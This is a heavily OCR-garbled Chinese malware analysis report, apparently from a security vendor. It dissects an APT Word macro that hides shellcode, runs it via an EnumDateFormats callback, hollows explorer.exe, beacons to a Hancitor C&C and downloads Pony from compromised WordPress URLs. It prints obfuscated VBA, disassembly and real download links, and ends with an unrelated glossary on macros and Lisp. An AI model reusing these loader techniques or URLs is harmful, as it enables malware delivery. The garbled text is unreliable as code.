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Dim salvelinus s String
Dim cruetstand

Dim otinsity

Dim hebetude

Dim burrock As String
Dim brassband

Sub bellwort (1

Dim pitched Az Long

Dim leadfree As Long

bleep = postpaid sottishness lancers. ControlTipText

metallurgical = 73 + 25 + 7267

fusiform = Right (bleep, metallurgical)

mandanuz = luxation. truisn (Fusiforn)

devolution = 8¢

serimp = B3

If devolution + serimp < 11 Then

develution = Llasef ("ca”) & Mid ("sdvancedrnossurxenorhyneus”, 9, 7)
otiosity = “aggrandizement”

nails = Right§ ("marrowmindedlac”, 3) & Mid("archesporetobacillusslnondshaped”, 11, 10)
Else

hebetude = brasshand % 3

serimp =

End If

dicamptodontidas = Mid("megalomandscalfagymbhana”, 15, 2) & Wlaszef ("S47)
myeloblast = "malathion”

#If Wintd And Len{fortinet should create new signatwe”) = 35 Then
Dim spproachable hs String

Dim communicating As scsteus

Dim contracter As Longftr

communicating sheet = 0

Dim wirginals As Byte

#lse

Dim inconceivableness s Byte

communicating =

Dim congridae As Leng

Dim centractor As Lemg

#End If

sufficit = 42 - 110 + 68

banish = “byproduct”

antiorgastic = 4 - 63 + 4155

maser = 92

fannel = 58

If maser + fanmel € 12 Then

maser = Mid("conimmafbisenits®, 7, 2) & Left (“oremarking”, 31
brassband = brassband / 289

lovingkindness = Left ("anpittsburgh®, 2) & Mid(“edgingeestaga”, T, 4) & “ry"
Else

hebetnde = brasshand and 398

fannel =

End If

shandredhan = "nessun”

3.3 ddRpEREE A

3. BRI ELEMN—1N%N “postpaid” BIHE RN Toggle Button #E{4FH1)
ControlTipText 3KHUE G . FHMAMIELS 7368 NF4F o

=5 Mierozoft Word MR Dim pitched Az Long

A DIim leadfree As Long
bleep = postpaid sottishness. lancers. ControlTipText C MIF P B SR
metallurgical = T3 + 23 + TZET ' T3EE
fusiform = Right (bleep, metallurgical) * MAENER TIEs TR

mandamus = luxation. truism (fusiform)
devolution = 54

serimp = B3

e Tim Tf dawalution + corimn ¢ 11 Than
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6. 3K7F ControlTipText B G, X XBEFEHITHE, MEZ )G, &
fI1E&HBIH — B A AT shellcode 45,

uwan -
Frktn—DT lSthb clinm

eireumztantially = A'hwallﬂulng&)

aberdevine = overbearance (fissipedialcircumstantially))

+ anthropomancy (fissipedialabyatt (retose + 1)) + managerial (fissipedialabwatt (ketose + 2))) + fissipedialabwatt (ketose + serrulatel)
maxillofacial = cherrycclored(aberdevine, teg)

froghit [blbl:op}ﬂllc] = newspayer(maxl].la(emal prelibation)

maxillofacial = cherrycolored(aberdevine, derivationsl)

froghit (bibliophilic + 1) = newspaper (naxillofacial, splash)

Eroghit (bibliophilic + deaf) = cherrpoclorsd(sbardaving, stylite

bibliophilic = bibliophilic + deaf + 1

Haxt ketose

truism = Eroghit

i s .
Eufli‘froghlt Byte (D to 5525)
&% truism “RHRTHENATREDIHITRNNY NN T R TR T String

K 3.8 —BAHATH shellcode 1XH5

7. 375 Rt1MoveMemory A VirtualAllocEx 25 pg &ttt , 3575 Bl A7 3 AH . 11 AR
& (salient. hopples) 1,

ib "ntdll” Alia: RthwveM ory* (id As Any, shan As Ay, Ey¥al pentathlon As Long)
11 make ou horl 1ike 2 nolf]

procality Lib "kernel32* Alias “Removellirectoryh” (highwayman As Long)

“WirtuslAllecEx" (ByVal procid hs Leng, ByVsl lpaddr Az Lomg, ByVal dwSize As Long ByVal flillocationTyps hs Long, ByVsl flProtect As Long) As Leng

3.9 R ECHHEAIAH B AR B

8. fF unproductively ZF & P {RAFEMEZ K shellcode, P VirtuallocEx
Sy He— B AT 132 ) 5 A AT B N A7 25 (8] SR J5 I Rt IMoveMemory # shellcode
£ UL R e BRI A

[N
salient slave, By¥al VarPir (mproductively) + 8, ¢ " Hunpr o ductivelyHiHIHHE M Bzl avedp

Dim honi As Integer

Dim omani As Long

Dim allet Az Long

scow = 0

flaming = 0

dexntrad = 4096

coaptation = hopplesi-1, flaming, T336, dextrad B4) ‘:E:;mrtualnlocrxég\ﬂawr?iT

salient alled, ByVal VarPir (coaptationm) + 8 "{Feoaptatio HlallotP

salient By¥al zllet, By¥al slave, 7394 ‘1%51avetmﬂ:qﬂﬂﬁﬁﬁﬁﬂijallottmﬂ:q:, size = 7394
For =olecism = 33 To 55

3.10 A RtIMoveMemory

9. H)5 ¥ shellcode $HAT SR ) J7 v EL KRk o FL i FH EnumDateFormats BRI %Y,
H4¥ shellcode fENZE—ANS%fk Tk

“Like & gemie in the bottle
Publ1c Declare Function Turgatorial Lib “rernel32” Mias “EromDateFormatsh” (ByVal lpEnumFunc As Any, By¥al ferocactus As Any, ByVel 1Param As dny) As Long
“yith mp hands and tengue i1t -make ou howl like a wolf!

3.11 EnumDateFormats i %75 B

-

flashback = 0

Dim condolence ks Long

condolence = contractor + cleaning R EEAEBIRTE cleaning ( 3677 ) IR
| tricuspid = purgatorial (condelence, flashbaclk, flashbaclk) JﬁFﬁEnwnDateFormats'ﬁ'liﬁ

berant = 8T

i 3.12 EnumDateFormats 8%, FHF; shellcode 241 Bl p& £ f& N\



10, A EnumDateFormats BRELIIE X, 7] LLE B —NSEONRIE R AL
W FH B B B 2 AT IX B RS

Declare Function EnumDateFormats Lib "KERNEL32" Alias "EnumDateFormats”
ByVal Locale As Long, Byval dwFlags As Long) As Long

yVal IpDateFmiEnumProc As Long, ™

K| 3.13 EnumbDateFormats &% e X

11 fER RS R, WEEA PI7E EnumDateFormats BRECHBEN T AHMN

i) shellcode fCH,
raced | [GE/E OO @ @ g oE00eaEaa

FC8387F9 mov edi,edi
7C8387FB ebp
FCB3B7FC mov ebp,esp
7C8387FE
7c83s8g00
7C838882 FF75 18 dword ptr ss:[ebp+B8x18]
7C838805 FF75 dC dword ptr ss:[ebp+BxC]
7c83s808 FF75 @8 dword ptr ss:[ebp+Bx8]
7C83sg0B ES 09000000 call kernel32.7C838819
7c83a818 ebp
7C838811 aces
7C838814
70838815
7C838816
7C838817
7c83se1e
70838819 edi,edi
7C83881B ebp
7C83881C ebp,esp
7C83881E A1 ABS3887C eax,
70838823 53 ebx
7C838824 56 esi
7C838825 8B75 dC esi,dword ptr ss:[ebp+B8xC]
7C838828 3BFO esi,eax
7c83sezn 6F85 oDoBO100 | kernel32.7C8493CD
7C838838 A1 5853887C nov eax,
7C838835% 85CH test eax,eax
7C838837 B6F84 8DOBOOOO kernel3d2.7C8388CA

8B5D 08 mou ebx,dword ptr ss:[ebp+0x8]

85DB test ebx,ebx

82000008 |[f kernel32.7c8388CA

EE8

55 push ebp ~ BB12EESS EELLIHH S
8BEC mov ebp,esp 0812EESC
81EC CGA7008080 esp,8x7CC B012EEGD
64:A1 300808088| nov eax,dword :[ 8z38] BB12EEGS
8B40 dC eax,dword g [eax+8xC] B012EEGS
8848 1C eax,dword d [eax+8x1C] B812EEGC
8BL4A B8 eax,dword :[eax+8x8] B012EE70| A8A0DOAOAA
53 B012EE74| BO8ABABOA
56 i BO12EE78| 00000000
57 i O012EE7C| 00066000

3.14 EnumDateFormats B&Z 1AM LhY

xor ebx,ebx

test eax,eax

short kernel32._7C838A11
38 cmp dword ptr ss:[ebp+0x38],ebx
SCFFFFFF |lea eax,dword ptr ss:[ebp-8xA4]
UCFFFFFF v dword ptr ss:[ebp-8xB4],eax
BE 87 6188 kernel32 _7C8491AA

7CB3B9EC 3ac cmp dword ptr ss:[ebp+8x3C],esi

FCB3IBOEF|. A3076108 kernel32.7C849198

7CBIBOFS eax

7LB3B9F6 S8FFFFFF (call dword ptr ss:[ebp-BxzA8] call shellcode

7CBIBIFC
0

K 3.15 EnumDateFormats &i%iiEH shellcode



3.2 0x02. Shellcode 9%

1. Shellcode E&IGALIT

BB27 BESD

8B27BESE 8BEC

BB27BEGEH 81EC CCA70808

BB27BEGH 64:A1 30000080

BB27BEGC 8B40 BC

@B27BEGF 8B4@ 1C

BB27BE72 8BL4A B8

BB27BE7S

BB27BE7 O

BB27BE7T

@B27BE78 ecx,dword ptr ss:[ebp-8x28]
BB27BE7B ecx

BB27BEYC ebx,ebx

BB27BEVE eax

@B27BE7F C745 E@ 4C6LT2 dword ptr ss:[ebp-8x20],
@B27BEBG C745 E4 GF6164 dword ptr ss:[ebp-8x1C],
BB27BEBD 66:C745 E8 6Ch word ptr ss:[ebp-8x18],
BB27BE93 885D En byte ptr ss:[ebp-Bx16],bl
BB27BEYGH 8985 BOFEFFFF |mov dword ptr ss:[ebp-8x150],eax
@B27BEOC E8 SOFEFFFF call BB278CF1

@B27BEA1 59

BB27BEA2 59

BB27BEA3 6A 6B

BB27BEAS 8BFO esi,eax

BB27BEAT 58 eax

@B27BEAE 6A 65

BB27BEAR word ptr ss:[ebp-Bx18C],ax
BB27BEB1 eax

BB27BEB2

0B27 OEBY word ptr ss:[ebp-0x18A],ax
8B27BEBE eax

BB27BERC

BB27BEBE word ptr ss:[ebp-Bx188],ax
BB27BECS eax

BB27BECH

3.16 Shellcode A2#E1LHS &

2. MWAAFIF 0x1000 o7 & JF 4638 P N A7 84, @id magic (0x52415453,
0x4C4C4146) e HEFR P EHE, FHi#id GetMappedFileNameA H| W A A7 & 75
T R

BA521113 59 ecx
mov dword ptr ss:[ebp-BxC],eax
mov esi,dword ptr ss:[ebp-8x4]

esi
call dword ptr ss:[ebp-98x8] kernel32.IsBadReadPtr
cmp eax,ebx
8 short eas2112c
81CE FFOFO000 esi,
EB 23 I short eas2114F
813E 53544152
75 1

817E B4 46M14C
BA52113B|, 75 12 short BAS2114F
8A52113D| 57 edi

BA52113E 8D85 34FBFFFF |lea eax,dword ptr ss:[ebp-Bx7CC]

BA521144 58 eax

BA521145 56 esi

BA521146 6A FF

BA521148 FF55 F4 call dword ptr ss:[ebp-BxC] psapi.GetMappedFileNaneA
BAS2114B 85ca test eax,eax

BA52114D 75 06 E short BA521155

OnS2114F| 46 inc esi

3.17 Shellcode i 7 N /754

3. i —HN AR, BEIERE D2, 20—k ADD I XOR fifs%, SR )5 Fk

1T—1IR baseb4 fi#%, sk 7 — A58 %11 PE XX



6B27117a 59
6R B4
[amilighilililili]
8271182 BE ACSAB000 mov esi,
BB271187 56 esi
BB271188 53 ebx
6B271189 FFD@O call eax kernel3d2.Virtualalloc
BB27118B 8BCE MoV Eecx,eax
BB27118D 804D F4 mov dword ptr ss:[ebp-8xC],ecx
6B271198 3BCB cmp ecx,ebx
6B271192|., OF84 F5030000 6B27158D
BB271198 8B4S FC mou eax,dword ptr ss:[ebp-Bx4]
83cA BC sax,
8975 F8 dword ptr ss:[ebp-Bx8],esi
eB2711a1 2BCB BCH,eax
BB2711A3 sn1o dl,
BB2711A5| FF4D F& dword ptr ss:[ebp-8x8]
BB2711A8 881401 ,dl copy data
6B2711AB L] i eax
BB2711AC 305D F8 dword ptr ss:[ebp-8x8],ebx
@B2711AF |~ 75 F2 j short BB2711A3

8B2711B1 33ce - eax,eax
B8B2711B3 8B4D Fh ecx,dword ptr ss:[ebp-8xC]

Satam dl,

88c2 83 dl,
BB2711BC 80F2 11  dl, decrypt data
BB2711BF 881461
BB2711C2 48 i eax
BB2711C3 3BCA cmp eax,esi
BB2711C5|" 72 EC short 8B2711B3
8B2711C7 51 ecx
BB2711C8 E8 11FCFFFF call BB278DDE basebdl
BB2711CD mov esi,dword ptr ss:[ebp-8x14] kernel32.7C800008

lea eax,dword ptr ss:[ebp-8x78]
EH

63600000 . + | B012DE2 0 EET LT
e3eDBO18 ? 0012DE94| ©O2B8BYA(UNICODE “yyyy-H-d*
636008020 - 0012DE98| 0000DOO1
636008038 .. 8612DE9C| OOO000OO
636D 6040 ? BO12DEAB| 7665L45C
686DB050 i s B812DEAL| 5C656369
68600060 t be run in DOS BE12DEAB| 64726148
63600070 mode. ... $....... B@12DEAC| 6B736964

3.18 shellcode fi# % N fix PE £dEid 2

4, PRI, AU IR explorer. exe, XKL ML R
TR BOAN N AR
Sgdad:) O1C714B8 | ~CALL to from B1C714B5
8612DEGC| B812E374|| HoduleFileNHame = "C:\WINDOWS\explorer.exe"

8812DEFG| 0000880688|| CommandLine = HULL
8612DE¥4| 08806686668 (| pProcessSecurity = HULL

8612DE7F8| 000666668 (| pThreadSecurity = HULL
8612DE7C| 866666668 (| InheritHandles = FALSE

8812DESG| 008080884|| CreationFlags = CREATE_SUSPEHDED
8612DES4| 660666668 (| pEnvironment = HULL

3.19 QIR MEERE AL

5. BIEMRMIEFREZ 5, [ERABMER, K explorer. exe HIJRIGHE unmap
H, SRIEEHI PE NS, WE LR, ePiT.



BB2714C6 L) eax

BB2714C7 FFB5 6BFEFFFF dword ptr ss:[ebp-0x198]

BB2714CD FF95 BOBFEFFFF (gall dword ptr ss:[ebp-8x158] kernel32.GetThreadContext
BB2714D3 85CH test eax,eax

8B2714D5 |, OFBL B2000OO0O m BB27158D

BB2714DB BF 08004868 mov edi,

BB2714E0| 57 edi

BB2714E1 FFBS 64FEFFFF dword ptr ss:[ebp-8x19C]

BB2714E7 FF?5 SOFEFFFF (gall dword ptr ss:[ebp-8x1B8] ntdll.ZwUnmapViewlfSection
BB2714ED 8BLS FL mov eax,dword ptr ss:[ebp-8xC]

BB2714F B E8 6FF7FFFF call BB27BCG4

BB2714F5 6n 4@

BB2714F7 68 8083080868
BB2714FC 8BFB mou esi,eax

BB2714FE FF76 58

BB271581 57 edi

BB271582 FFBS 64FEFFFF dword ptr ss:[ebp-8z19C]

BB271588 FF95 6BFEFFFF (call dword ptr ss:[ebp-8x1A8] kernel32.UirtualAllocEx
BB27158E| B9LS FC mou duord ptr ss:[ebp-Bx4],erax

BB271511 3BC3 cmp eax,ebx

BB271513|, 74 78 m short BB27158D

BB271515 53 ebx

8B271516 FF76 54

0B271519| FF75 Fa dword ptr ss:[ebp-8xC]

8B27151C e eax

8B27151D FFBS 64FEFFFF dword ptr ss:[ebp-8x19C]

BB271523 FF55 F8& call dword ptr ss:[ebp-8x8] kernel3d2.WriteProcessHemory

BB271526 85co test eax,eax
gp 8 G B

3.20 WRELALAREEHATHIEK

3.3 0x03. PE dump £#f

1

v BATEEANF] explorer. exe H 1) PE SCAF dump H KA, I SEPR B2 —
AN Hancitor HKEMIARL N85,

2. UARL RS, TLAERZIES . FEINEEE, M C&C 5 R A N R A%
B, FHENAE I ECE BRI AT R K

{
int w3; //
if [1] = """ )
return 8;
if ( %al == "p" ) 77 T EE A T svchost i fT
{
= sub_u@1524(al + 2);
goto LABEL_16;
h
1F ( %1 == c* ) /7 Efnurnhil, HE5 A4
{
= sub_4@1DBE(al + 2);
LABEL_16:
return 1;
b

{iF ( %l == ‘e’ ) /8 TEERSIM, FHEEETEHAT
= sub_4B14C8(
goto LABEL_16;
H
{iF ( %l == 1" ) /5 THET, BEERMIT

+
M
=

—

wn

= sub_4B14C8( + 2, 1);
goto LABEL_16;

H
if ( ®al 1= 'n" )
{
if [ %a1 1= p ) /1 TERIFRERT B FEHAT

return 8;
= sub_u4B157B{ + 2);
goto LABEL_16;

b
* =1;
return 1;



K 3.21 AR NEAEYZ C&C R FHFIIT

3 [N, HLAETERAE W FI, ERANLE — S 8dE R B RS54 . WRiE AR
gt, M2,

POST /1s5/gate.php HTTP/1.1

Accept: */¥

content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (windows NT 6.1; win64; x64; Trident/7.0; rv:11.0) Tike Gecko
HostT:

content- -

Cache-control: no-cache

GUID=9574335041449298944&BUILD=2510&INFO=ABC @ ABC
\Administrator&IP=4SGNGGEEGEGEGEEPETYPE=1&WIN=5.1(x32)HTTP/1.1 200 OK
Server: nginx/1.6.2

Date: Thu, 27 Oct 2016 01:37:02 GMT

content-Type: text/html

Connection: keep-alive

X-Powered-By: PHP/5.4.45

Content-Length: 532

BGTYARZAEg40CkBVVRBWGXWWFQgbVBKAVQOKVXMUGRYPHNS IVQOXVB4WF gYSDg4 KQF VVFWMJF XMWHX4VGQ4VCATUG
RUXVQOKvaUGRYPHhsJVQoXVB4WFgYSDE4KQFVVDQONVAngQQXChUVF1QZE1UNc1cTFBkWDx4fCVUKFRCVVQoxv3
4WFQgYSDg4KQF VVGBMAGABZEQgQVHhBVVBKVF1UNC1cZFRQOHXQOVQOWDXOTFATVCBBMCRYTHh8IVQOXVB4WFgCBCEA
SDg4KQFVVHXYbHBYVCBTUGQBVDQPXEXQZFg8eHw]VEXQID1Qf Ah8GEg40CkBVVRCDCRCTFh8eFRKOFQQIVEKVFLUN
C1cTFBkWDX4fCVUTFAKOVBBCHWYSDg4 KQF VVDQONVAGTEQIXChUVF 1QZE TUNC 1 cTFBkwDx4 fCVUKFRCVVRMUCQ5UH
wIfBhIODgpPAVVUYEXOYDXKRCBUEHXVUGRUXVQOKVXKVFA4TFASVChYPHRMUCVUIHwwIFhMeHwhVEXQID1Qf AhSH

K 3.22 REEHEE S

4, IR EIEAEREE S, AR B A url,

Address |(Hex dump ASCII
02920028|7B 6C 3A 68|74 74 70 3A|2F 2F 65 6C 66 6F|(1:hftp:/
0292080838(72 61 2E 63(7A 2F 77 70|2D 69 6E 63 75 65 'wp-include
029200648|73 2F 70 6D(2E 64 6C 6C|7C 68 74 74 3A 2F|Sfpm.dlllhttp://
029200858|(6D 79 73 6D(69 6C 65 64|6F 63 74 6F 73 63 .C
02920068 6F 6D 2F 77|78 2D 69 6E(63 6C 75 64 73 78| om/wp-includes/p
029206878|6D 2E 64 6C(6C 7C 68 74|74 78 3A 2F 77 77 |m.dll|http://wuw
02920088(2E 72 65 6B(75 2D 78 6F|6F 6C 2E 63 2F 70 fup
02920098|2D 69 6E 63(6C 75 64 65|73 2F 70 6F 6F 78| -includes/pomo/p
0292066A8| 6D 2E 64 6C(6C 7C 68 74|74 78 3A 2F 62 67|m.d1l1|http://big
0292066BB|62 75 63 6B|(72 6F 64 65|6F 2E 63 6F 2F 78 FAU Y
0292068C08| 2D 63 6F 6E(74 65 6E 74|2F 78 6C 75 69 73| -content/plugins
82920806D8|2F 72 65 76(73 6C 69 64|65 72 2F 70 2E 6C| /revslider/pm.dl
029268BEB|(6C 7D 7B 72(3A 68 74 74|70 3A 2F 2F 6C 66(1¥{r:http://
0292006F8|6C 6F 72 61(2E 63 7A 2F |77 78 2D 69 63 75 wp-inclu
029201008|64 65 73 2F |69 6E 73 74|2E 65 78 65 68 74| des/inst.exe|htt
82926118|70 3A 2F 2F (6D 79 73 6D(69 6C 65 64 63 6F|p://

02926128(72 73 2E 63(6F 6D 2F 77|78 2D 69 6E 6C 64| rs.com/wp-1nclud
02926138|65 73 2F 69(6E 73 74 2E|65 78 65 7C 74 78|es/inst.exe|http
82920148(3A 2F 2F 77|77 77 2E 72|65 6B 75 2D 6F 6C| /7

02926158|2E 63 68 2F (77 708 2D 69|6E 63 6C 75 65 2F | .ch/wp-includes/
02926168|70 6F 6D 6F(2F 69 6E 73|74 2E 65 78 7C 74| pomo/inst.exe|ht
02920178(74 78 3A 2F|2F 62 69 67|62 75 63 6B 6F 65(tp://
02926188|6F 2E 63 6F (6D 2F 77 78|2D 63 6F 6E 65 74|o.comfup-content
02926198|2F 78 6C 75(67 69 6E 73|2F 72 65 76 6C 64| /plugins/revslid
029201A8(65 72 2F 69|6E 73 74 2E(65 78 65 7D 515 88|er/inst.exe}....
§29261B8| 66 66 66 66/ 66 66 66 66/ 68 66 86 66 [515)
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5. &t HNEMEA pony KIEMEIE KRS . Pony FKiEAE & — ik
#%Mﬁ%%%ﬂ%ﬁM*%lﬂ)%#ﬁF%\ TCREELTH . DA M by T 4%
Hr Mk S E LN EARLD, FEIAHEEMER,

Stream Content

GET /wp-includes/pomo/pm.d11 HTTP/1.1
Accept: */¥

User-Agent: Mozilla/5.0 (windows NT 6.1; win64; x64; Trident/7.0; rv:11.0) like Gecko
Host :h
cache-Control: no-cache

HTTP/1.1 200 OK

Date: Thu, 27 Oct 2016 02:00:56 GMT

Server: Apache/2.4.16 (Unix)

Last-Modified: wed, 26 Ooct 2016 13:14:51 GMT
ETag: "11000-53fc4690a267c"”

Accept-Ranges: bytes

Content-Length: 69632

connection: close

content-Type: application/octet-stream

| P e e e e et '..L.!This
program cannot be run in DOS mode.
SRR BETS I SR X
O OGO O G LA D O G A GO A G LA G A G OO LA GG A O AT ARG T A
B T
B o o o o B B B B te
D D L L 1 0 1 0 0 0 1 i 1 B e T ) Py @..@.data...D
e B @....reloc..|....0..

@
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T B AR TIRAZ YA

s | | wcews \ﬁﬁWﬁ,
fieh R Jashellcode HRIHN
X | s i

‘ i FiEnumDat eFormat Wik ek A AS Hu bt 244 =]
‘ TR EAEN, shellcodefRAB1ERITAT

REDR 2
BE R

/[ \ y v‘ SV B SRS ‘y
WP B AR ‘%%EA@%%&E Tﬁki*%|

HAE, R RLPE FIAT




~

/

. BFRRE

4.1 BBER APT #&= R 7] BN Z AR

XERAHASESNE

W RREE)
£EB luxation. bas [SEIE ZRAeC]
#E M "Public Declare PtrSafe Function epilithic Lib “kernel32” Alias “GetModul
eHandle® (lpModuleName As LongPtr)’
"Public Declare PtrSafe Function hopples Lib "kernel32” Alias “VirtualAllocEx”
(ByVal jordanella As LongPtr, ByVal prebend As LongPtr, ByVal maxi As LongPtr, B
y¥al friesian As LongPtr, ByVal arthur As LongPtr) As LongPtr’
"Public Declare PtrSafe Function purgatorial Lib “kernel32” Alias “EnuaDateForm
ats¥W" (ByVal lpEnumFunc As Any, ByVal flags As Any, ByVal 1Param As Any) As Long
dik
"Public Declare PtrSafe Function khalkha Lib “kernel32” Alias “TlsAlloc” () As L
ongPr’

"Public Declare PtrSafe Function empirema Lib “kernel32” Alias "RemoveDirectoryA

4.1 SCPFrP SRR AT BRI

4.2 ERTENERENIREG

o HBAEIS] v
> S\ TRAE SRR R Ak
> BUTHEGREENAR  ppag aekkk
B0 v SRAESEEASANE  prss ees
> PID HES HRES
C:Program Files\Microsoft Offi N =
124 9 ProcessName: \Device\HarddiskVolume1\WINDOWS\explorer.exe mﬁgm})\
Ce\OFFICE1 1\WINWORD EXE -
F5h
v SEUBEEEE  amss aes
PID HEE HRES
CiProgram Files\Microsoft Off
124 ProcessName: \Device\HarddiskVolume 1\WINDOWS\explorer.exe
Ce\OFFICE1 1\WINWORD EXE
> BUSHEREEAT  mese aer
* BEEE(S) v

D R RR

R RRRRk RSB MHERINKT A

v EREEIRHTIPER

BISHRL: http://epi. ipify. ore/

K 4.2 EEAARESEE



A ATLFEREBAER APT M~ 5

APT B Z BT IRR Z N B R F Bl , R DABGA G2 2468, FEAANZFE,
BEIREAIZ ] 2, IXAEAE SE I 28 2 4 BE & Q0BT JChd « NARASIN L N AR B A S BT 25190 5
AT 9 BRAE N S 2 A e g E AE 2R, DRLE, T A SRR UL ARSI 5 AR T BT DASE AR
AN AT S8 SCHIH AR 2 [, AR RSB B ARRD R iR B Nt R AR SR T 3 N M BGH TR
TCALIETE -

JA B SR APT 7= 2 M T2 H R S A A SRR SR I B AR R ARl b, 456
PP %6t AR R B RS DA DI 5 5K A B — R B R AGE TN 7 i o X6 13 G R e 77 IR
(1 APT Htily, B JC i MR « Jo € HilJT A& BIn] Re ke N SR ek, R P B
Xt R TR APT Bl A ikt FH AT LU R B R APT A fh, KRS BAAS I v 2
ek, PRIERIARAIETR (O-day) , #ERAEAKIEENEHHE .

5.1 BIPER APT 2 R MRR BB

BEXT R A SR B 1 SO RS R B E R W2 R APT Al dh, AT DA 2 R R A
JE L  FAFREAT A RIS AN B VG o 77 it o] AELRRE 5 A W B A B SR AE RE AU A B
ERANIEAT, G AR R S PR, AT RO APT Xk (Rl ek

JABIER TR APT K= ft, ARk B xS AR 5 2R R0 gl LA G B2 Ao P RCR 1
Mgz 4 i, PTSEBUALET . RAE RS A . REXBGEARN . ARG RopER0 . B
PbIE TEAG N 45 2 R AR AR (O-day) AIFIATRRIASIN, R 91 RIS A 0K
FBRH B N O RO EAS I 7 GRS Zh AN, 2 MO ER FB. —t
H A HEBUGI . ROP RIS . HuUsk AP AR, HEARIEI. Shell code f 2. Wit
A, AL APT B iR D8R, A, 7 & N DIRSS, A RO ZE APT
Bdio WTHA:



=
Machine Learning LJ e v
H 7€ URFHIE Shell code Pre-shellcode  Shell code {), PR

aha
Rl

s
a

—
4~ﬁbl

& M

Qﬁﬁ SMTP POP3 IMAP H

=3

Y :
N

ﬂ: IEI-
_lnlOl:: ﬂ:%em T2 L_J

RA R
¥ .
ot RTF

AL W Oday W fE/° KL i B W KA
JaIT ) dEOJ Mz W Bak ) Bah )| 2ok

5.2 %F VenusEye Z£HBA

VenusEye % 4x[41BA 2 5 B F2 J 2 TRl = it A
AR I, R IR TR DA = A
bR AR REARBERE T2 o, IFm A
PR MR o S HE Bl e 2R
TR, o H SR FH 6 8 P B B AR AHOR N PR SR AN 7
B, I HE HE a8 R SR T, A
PRSI

VenusEye %4 FHNRLES, Sela kAT
1 Hedwig ALY« (Locky 81
TG EFEAR TR ) « CRETHDE R A TR AR |

(TERAHOIE T 18 A Mo Yo 2 A A AT

2015

IEFEBEREERSEABMAE

VenusEyeZ£HIPA

#B{5H (Hedwig )

PiRS

—iﬁ%liéﬂzﬁﬂﬁ@#

W) . (SandWorm (BURTiFK: ¥ Bt ) S+ 2 il iR, X%

WA b



7N RTERHFTIRE

% GHENRE

THEABF: B R (Macro) , s&— Mt ERUACBEAIFRIE . — Bk, 252 —Fh
ek, sREEE S . TR ReEfA CEHEZ 7R E) ITiRYE
TE SCHAIH T2 e P of 2 1 i Y IR Ot R 3 ) o T T 85 A T P N 84T
PRAEZ o

Frig %, mig—farHA3 e —i, EA— DMLl —MEELs.
Microsoft Word Hixt 725 oN: “ 225t RE AL 2L 3 — e N — M7 1 &4 B 1)
—H%| word f5%, ‘B HE TAEEBER S Word ff H %215 5 Visual Basic
BENERN—RINE LRI .

THEHURE B 2502 — Rl R, R3E — R B HUE SRR e I SR
Excel AMABAFAZNEM T “VBA” @PAEFIE S, FULIE S ] 0 RE 7w i
“E7. A “VBA” TR B —EKImARELA, JF Hab MR RE R A, F,
24 K2 B B DU T Excel BI— iR IhRE, MRAEM S “VBA”,
SRS B AR B N 2 A B TR A e X T RIRTE S, R RITE
G PRI R 2B, BEAT R R I DR EPARNE RIT & . HIX ARG EERH TFE
RENFIFAEL R, EATRME A Z RIS S, RURBREZNEES . AR HE
OUT, “7 XA BIE S B R i & BB R AL N — R B4

IS AE T B Sh AU S A 1 e 1 B R 3R AT — M sl K B g ) — — 1B
XHH LRI

HHEVIES W C LG S A MR RS, HYmPegs ol g o 1) FiAL PR 8% 529 .
C 1) Z FAL PR 28 1) TAE W& 1] BRSO R AN e, 8 FH B0 A SC A AR BRVE 55 40
M4, C FEFF i ml AR RERE I 1%

Lisp 28 5 W Common Lisp Fl Scheme A BAE I M7 KRG Z HIAT N U0[F] 2 pR 2L
X E SR SRR, FFH AT DA H A3 E S KRR IEX MR . —A C ZrLh
TE N —BOEVER B, AT —A Lisp W& DAy H — ARSIt 5. 3R18 T
FEHARRL P PAT T COLFE TSR E R T R O ORE T, 15 2 1) i v 45
M 518 F WEIEVEG AT X 2 Fltn, —Fh Lisp 7 5HA cond MEA if ,
AT M R T U a . Lisp iBEM B EEY R, i A ) 2 1)
CLOS R4, W LAHZERE Lo

7% B RN

i 0 AR i E G2 A S SO TEHE R (I 5E 5 o5 &
S I AL S5 B Bl AT B RE e B ] DU — R AT 2 SR AL ) SR 8K fe VR
JURE— 25 (- BOR R A R B SO — B8R B2l 3T —
FIVHEAME, I HAEN IR R 1o KL e LULFE . S8 i ] vl Ll



Ao A I 5 G R K ELRR A RIS L B R e (O T o 2 — A B IR R 5K
GuAER, OECA RN T IR LS P A AR B R R AR, AR R L B N
FIRE AL 3 T SR 2 SO R B AR 2 i 2 O S5 R RS o



